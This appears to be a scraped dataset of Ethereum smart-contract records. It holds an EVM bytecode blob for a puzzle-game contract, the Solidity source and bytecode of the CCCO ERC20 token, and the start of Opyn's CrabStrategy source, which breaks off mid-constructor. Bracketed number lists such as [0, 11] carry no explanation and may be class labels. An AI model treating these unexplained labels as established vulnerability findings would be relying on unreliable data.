0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307120679146100bf57806325400abc146100f95780636b31ee01146101145780637a1b0a8b1461013d5780638f728516146101a35780639f986c53146101ad578063d426998614610205578063d6d34c7c14610267578063d883e789146102bc578063e213beb7146102f5578063e2982c211461032e578063e7b43c441461037b575b600080fd5b34156100ca57600080fd5b6100e3600480803560ff169060200190919050506103d1565b6040518082815260200191505060405180910390f35b610112600480803560ff169060200190919050506103e9565b005b341561011f57600080fd5b61012761071d565b6040518082815260200191505060405180910390f35b341561014857600080fd5b610161600480803560ff16906020019091905050610723565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101ab610756565b005b34156101b857600080fd5b6101e9600480803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190505061092b565b604051808260ff1660ff16815260200191505060405180910390f35b341561021057600080fd5b610229600480803560ff16906020019091905050610967565b6040518082601060200280838360005b83811015610254578082015181840152602081019050610239565b5050505090500191505060405180910390f35b341561027257600080fd5b61027a610a3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102c757600080fd5b6102f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a61565b005b341561030057600080fd5b61032c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bcc565b005b341561033957600080fd5b610365600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca6565b6040518082815260200191505060405180910390f35b341561038657600080fd5b6103cf600480803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff1690602001909190803560ff16906020019091905050610cbe565b005b60046020528060005260406000206000915090505481565b60008060008060008060055411151561040157600080fd5b600360008760ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694503373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156104a65750600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15156104b157600080fd5b600460008760ff1660ff1681526020019081526020016000205493508334101515156104dc57600080fd5b33600360008860ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060028481151561054057fe5b04925060028402600460008860ff1660ff1681526020019081526020016000208190555060058381151561057057fe5b0491508183019050600382026005600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515610666578473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561060057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561066157600080fd5b6106ca565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8383019081150290604051600060405180830381858888f1935050505015156106c957600080fd5b5b83341115610715573373ffffffffffffffffffffffffffffffffffffffff166108fc8534039081150290604051600060405180830381858888f19350505050151561071457600080fd5b5b505050505050565b60055481565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b757600080fd5b6000341115156107c657600080fd5b60006005541415156107d757600080fd5b34600581905550600190505b60068160ff1611151561092557600f915030600360008360ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555066038d7ea4c68000600460008360ff1660ff16815260200190815260200160002081905550600193505b60048460ff1611151561091857600192505b60048360ff1611151561090b5781600260008360ff1660ff16815260200190815260200160002060008660ff1660ff16815260200190815260200160002060008560ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055508180600190039250508280600101935050610888565b8380600101945050610876565b80806001019150506107e3565b50505050565b6002602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900460ff1681565b61096f611170565b6000806000809050600192505b60048360ff16111515610a3457600191505b60048260ff16111515610a2757600260008660ff1660ff16815260200190815260200160002060008460ff1660ff16815260200190815260200160002060008360ff1660ff16815260200190815260200160002060009054906101000a900460ff16848260ff16601081101515610a0157fe5b602002019060ff16908160ff16815250508080600101915050818060010192505061098e565b828060010193505061097c565b505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610add5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b3f5750600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543073ffffffffffffffffffffffffffffffffffffffff163110155b1515610b4a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f193505050501515610bc957600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c6357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60016020528060005260406000206000915090505481565b6000600554111515610ccf57600080fd5b600360008660ff1660ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4257600080fd5b6000600260008760ff1660ff16815260200190815260200160002060008460ff1660ff16815260200190815260200160002060008360ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff16141515610da857600080fd5b60018460ff1610158015610dc0575060048460ff1611155b8015610dd0575060018360ff1610155b8015610de0575060048360ff1611155b8015610df0575060018260ff1610155b8015610e00575060048260ff1611155b8015610e10575060018160ff1610155b8015610e20575060048160ff1611155b1515610e2b57600080fd5b8160ff168460ff16148015610e555750600181840360ff161480610e545750600183820360ff16145b5b80610e8657508060ff168360ff16148015610e855750600182850360ff161480610e845750600184830360ff16145b5b5b1515610e9157600080fd5b600260008660ff1660ff16815260200190815260200160002060008560ff1660ff16815260200190815260200160002060008460ff1660ff16815260200190815260200160002060009054906101000a900460ff16600260008760ff1660ff16815260200190815260200160002060008460ff1660ff16815260200190815260200160002060008360ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506000600260008760ff1660ff16815260200190815260200160002060008660ff1660ff16815260200190815260200160002060008560ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506001600260008760ff1660ff1681526020019081526020016000206000600160ff1681526020019081526020016000206000600160ff16815260200190815260200160002060009054906101000a900460ff1660ff1614801561105b575060028060008760ff1660ff1681526020019081526020016000206000600160ff1681526020019081526020016000206000600260ff16815260200190815260200160002060009054906101000a900460ff1660ff16145b80156110ba57506003600260008760ff1660ff1681526020019081526020016000206000600160ff1681526020019081526020016000206000600360ff16815260200190815260200160002060009054906101000a900460ff1660ff16145b801561111957506004600260008760ff1660ff1681526020019081526020016000206000600160ff1681526020019081526020016000206000600460ff16815260200190815260200160002060009054906101000a900460ff1660ff16145b15611169573373ffffffffffffffffffffffffffffffffffffffff166108fc6005549081150290604051600060405180830381858888f19350505050151561116057600080fd5b60006005819055505b5050505050565b610200604051908101604052806010905b600060ff1681526020019060019003908161118157905050905600a165627a7a7230582062b8a18528654db4f97f1a8f82e05171506abe8f7a6902793bccb743437f6a130029
[ 0, 11 ]
0xf2056f44Cc4c6453Ea11802929858c7D93cb2a9B
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'CCCO' token contract // Symbol : CCCO // Name : CANNABISCASHCOIN // Total supply: 111,000,000,000,000,000 ONE-HUNDRED ELEVEN QUADRILLION // Decimals : 18 // Owners Address 0x37FE16B6dddaE1D3C7954B6f067a8e7B4B548e97 // MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! (VIA INITIAL CONTRACT) NO OTHER FORM OF MINTING WILL OCCUR! // CANNABISCASHCOIN WILL BURN FIVE-HUNDRED TRILLION TOKENS IN CIRCULATION FOR FIVE YEARS. 12/31/2022, 12/31/2023, 12/31/2024, 12/31/2025 12/31/2026 NO OTHER BURNS WILL OCCUR! // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the sender's balance is greater than the totalSupply, which *should* be an assertion failure // CANNABISCASHCOIN WILL BURN FIVE-HUNDRED TRILLION TOKENS IN CIRCULATION FOR FIVE YEARS. 12/31/2022, 12/31/2023, 12/31/2024, 12/31/2025 12/31/2026 NO OTHER BURNS WILL OCCUR! address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract CCCO is BurnableToken { string public constant name = "CANNABISCASHCOIN"; string public constant symbol = "CCCO"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 111000000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; // MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! (VIA INITIAL CONTRACT) NO OTHER FORM OF MINTING WILL OCCUR! } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c57806395d89b411161006657806395d89b41146103d2578063a9059cbb14610455578063d73dd623146104b9578063dd62ed3e1461051d576100ea565b806366188463146102e257806370a08231146103465780638da5cb5b1461039e576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce56714610278578063378dc3dc1461029657806342966c68146102b4576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f7610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ce565b60405180821515815260200191505060405180910390f35b6101de6106c0565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b6102806109b0565b6040518082815260200191505060405180910390f35b61029e6109b5565b6040518082815260200191505060405180910390f35b6102e0600480360360208110156102ca57600080fd5b81019080803590602001909291905050506109c7565b005b61032e600480360360408110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8d565b60405180821515815260200191505060405180910390f35b6103886004803603602081101561035c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1e565b6040518082815260200191505060405180910390f35b6103a6610e67565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103da610e8b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041a5780820151818401526020810190506103ff565b50505050905090810190601f1680156104475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a16004803603604081101561046b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ec4565b60405180821515815260200191505060405180910390f35b610505600480360360408110156104cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611098565b60405180821515815260200191505060405180910390f35b61057f6004803603604081101561053357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611294565b6040518082815260200191505060405180910390f35b6040518060400160405280601081526020017f43414e4e4142495343415348434f494e0000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561070157600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506107d483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061086983600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108bf838261131b90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a67018a59e9721180000281565b600081116109d457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a2057600080fd5b6000339050610a7782600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610acf8260015461131b90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c9e576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d32565b610cb1838261131b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4343434f0000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eff57600080fd5b610f5182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061112982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461133290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561132757fe5b818303905092915050565b60008082840190508381101561134457fe5b809150509291505056fea26469706673582212203ec5ea112fd392dd920fe32959f7c11c064b76bffa6a60c2655a21551575995d64736f6c634300060c0033
[ 38 ]
0xf205ad80bb86ac92247638914265887a8baa437d
// SPDX-License-Identifier: GPL-3.0-only pragma solidity =0.7.6; pragma abicoder v2; // interface import {IController} from "../interfaces/IController.sol"; import {IWPowerPerp} from "../interfaces/IWPowerPerp.sol"; import {IOracle} from "../interfaces/IOracle.sol"; import {IWETH9} from "../interfaces/IWETH9.sol"; import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import {IController} from "../interfaces/IController.sol"; // contract import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {StrategyBase} from "./base/StrategyBase.sol"; import {StrategyFlashSwap} from "./base/StrategyFlashSwap.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; // lib import {Address} from "@openzeppelin/contracts/utils/Address.sol"; // StrategyMath licensed under AGPL-3.0-only import {StrategyMath} from "./base/StrategyMath.sol"; import {Power2Base} from "../libs/Power2Base.sol"; /** * @dev CrabStrategy contract * @notice Contract for Crab strategy * @author Opyn team */ contract CrabStrategy is StrategyBase, StrategyFlashSwap, ReentrancyGuard, Ownable { using StrategyMath for uint256; using Address for address payable; /// @dev the cap in ETH for the strategy, above which deposits will be rejected uint256 public strategyCap; /// @dev the TWAP_PERIOD used in the PowerPerp Controller contract uint32 public constant POWER_PERP_PERIOD = 420 seconds; /// @dev twap period to use for hedge calculations uint32 public hedgingTwapPeriod = 420 seconds; /// @dev enum to differentiate between uniswap swap callback function source enum FLASH_SOURCE { FLASH_DEPOSIT, FLASH_WITHDRAW, FLASH_HEDGE_SELL, FLASH_HEDGE_BUY } /// @dev ETH:WSqueeth uniswap pool address public immutable ethWSqueethPool; /// @dev strategy uniswap oracle address public immutable oracle; address public immutable ethQuoteCurrencyPool; address public immutable quoteCurrency; /// @dev strategy will only allow hedging if collateral to trade is at least a set percentage of the total strategy collateral uint256 public deltaHedgeThreshold = 1e15; /// @dev time difference to trigger a hedge (seconds) uint256 public hedgeTimeThreshold; /// @dev price movement to trigger a hedge (0.1*1e18 = 10%) uint256 public hedgePriceThreshold; /// @dev hedge auction duration (seconds) uint256 public auctionTime; /// @dev start auction price multiplier for hedge buy auction and reserve price for hedge sell auction (scaled 1e18) uint256 public minPriceMultiplier; /// @dev start auction price multiplier for hedge sell auction and reserve price for hedge buy auction (scaled 1e18) uint256 public maxPriceMultiplier; /// @dev timestamp when last hedge executed uint256 public timeAtLastHedge; /// @dev WSqueeth/Eth price when last hedge executed uint256 public priceAtLastHedge; /// @dev set to true when redeemShortShutdown has been called bool private hasRedeemedInShutdown; struct FlashDepositData { uint256 totalDeposit; } struct FlashWithdrawData { uint256 crabAmount; } struct FlashHedgeData { uint256 wSqueethAmount; uint256 ethProceeds; uint256 minWSqueeth; uint256 minEth; } event Deposit(address indexed depositor, uint256 wSqueethAmount, uint256 lpAmount); event Withdraw(address indexed withdrawer, uint256 crabAmount, uint256 wSqueethAmount, uint256 ethWithdrawn); event WithdrawShutdown(address indexed withdrawer, uint256 crabAmount, uint256 ethWithdrawn); event FlashDeposit(address indexed depositor, uint256 depositedAmount, uint256 tradedAmountOut); event FlashWithdraw(address indexed withdrawer, uint256 crabAmount, uint256 wSqueethAmount); event FlashDepositCallback(address indexed depositor, uint256 flashswapDebt, uint256 excess); event FlashWithdrawCallback(address indexed withdrawer, uint256 flashswapDebt, uint256 excess); event TimeHedgeOnUniswap( address indexed hedger, uint256 hedgeTimestamp, uint256 auctionTriggerTimestamp, uint256 minWSqueeth, uint256 minEth ); event PriceHedgeOnUniswap( address indexed hedger, uint256 hedgeTimestamp, uint256 auctionTriggerTimestamp, uint256 minWSqueeth, uint256 minEth ); event TimeHedge(address indexed hedger, bool auctionType, uint256 hedgerPrice, uint256 auctionTriggerTimestamp); event PriceHedge(address indexed hedger, bool auctionType, uint256 hedgerPrice, uint256 auctionTriggerTimestamp); event Hedge( address indexed hedger, bool auctionType, uint256 hedgerPrice, uint256 auctionPrice, uint256 wSqueethHedgeTargetAmount, uint256 ethHedgetargetAmount ); event HedgeOnUniswap( address indexed hedger, bool auctionType, uint256 auctionPrice, uint256 wSqueethHedgeTargetAmount, uint256 ethHedgetargetAmount ); event ExecuteSellAuction(address indexed buyer, uint256 wSqueethSold, uint256 ethBought, bool isHedgingOnUniswap); event ExecuteBuyAuction(address indexed seller, uint256 wSqueethBought, uint256 ethSold, bool isHedgingOnUniswap); event SetStrategyCap(uint256 newCapAmount); event SetDeltaHedgeThreshold(uint256 newDeltaHedgeThreshold); event SetHedgingTwapPeriod(uint32 newHedgingTwapPeriod); event SetHedgeTimeThreshold(uint256 newHedgeTimeThreshold); event SetHedgePriceThreshold(uint256 newHedgePriceThreshold); event SetAuctionTime(uint256 newAuctionTime); event SetMinPriceMultiplier(uint256 newMinPriceMultiplier); event SetMaxPriceMultiplier(uint256 newMaxPriceMultiplier); /** * @notice strategy constructor * @dev this will open a vault in the power token contract and store the vault ID * @param _wSqueethController power token controller address * @param _oracle oracle address * @param _weth weth address * @param _uniswapFactory uniswap factory address * @param _ethWSqueethPool eth:wSqueeth uniswap pool address * @param _hedgeTimeThreshold hedge time threshold (seconds) * @param _hedgePriceThreshold hedge price threshold (0.1*1e18 = 10%) * @param _auctionTime auction duration (seconds) * @param _minPriceMultiplier minimum auction price multiplier (0.9*1e18 = min auction price is 90% of twap) * @param _maxPriceMultiplier maximum auction price multiplier (1.1*1e18 = max auction price is 110% of twap) */ constructor( address _wSqueethController, address _oracle, address _weth, address _uniswapFactory, address _ethWSqueethPool, uint256 _hedgeTimeThreshold, uint256 _hedgePriceThreshold, uint256 _auctionTime, uint256 _minPriceMultiplier, uint256 _maxPriceMultiplier ) StrategyBase(_wSqueethController, _weth, "Crab Strategy", "Crab") StrategyFlashSwap(_uniswapFactory) { require(_oracle != address(0), "invalid oracle address"); require(_ethWSqueethPool != address(0), "invalid ETH:WSqueeth address"); require(_hedgeTimeThreshold > 0, "invalid hedge time threshold"); require(_hedgePriceThreshold > 0, "invalid hedge price threshold"); require(_auctionTime > 0, "invalid auction time"); require(_minPriceMultiplier < 1e18, "min price multiplier too high"); require(_minPriceMultiplier > 0, "invalid min price multiplier"); require(_maxPriceMultiplier > 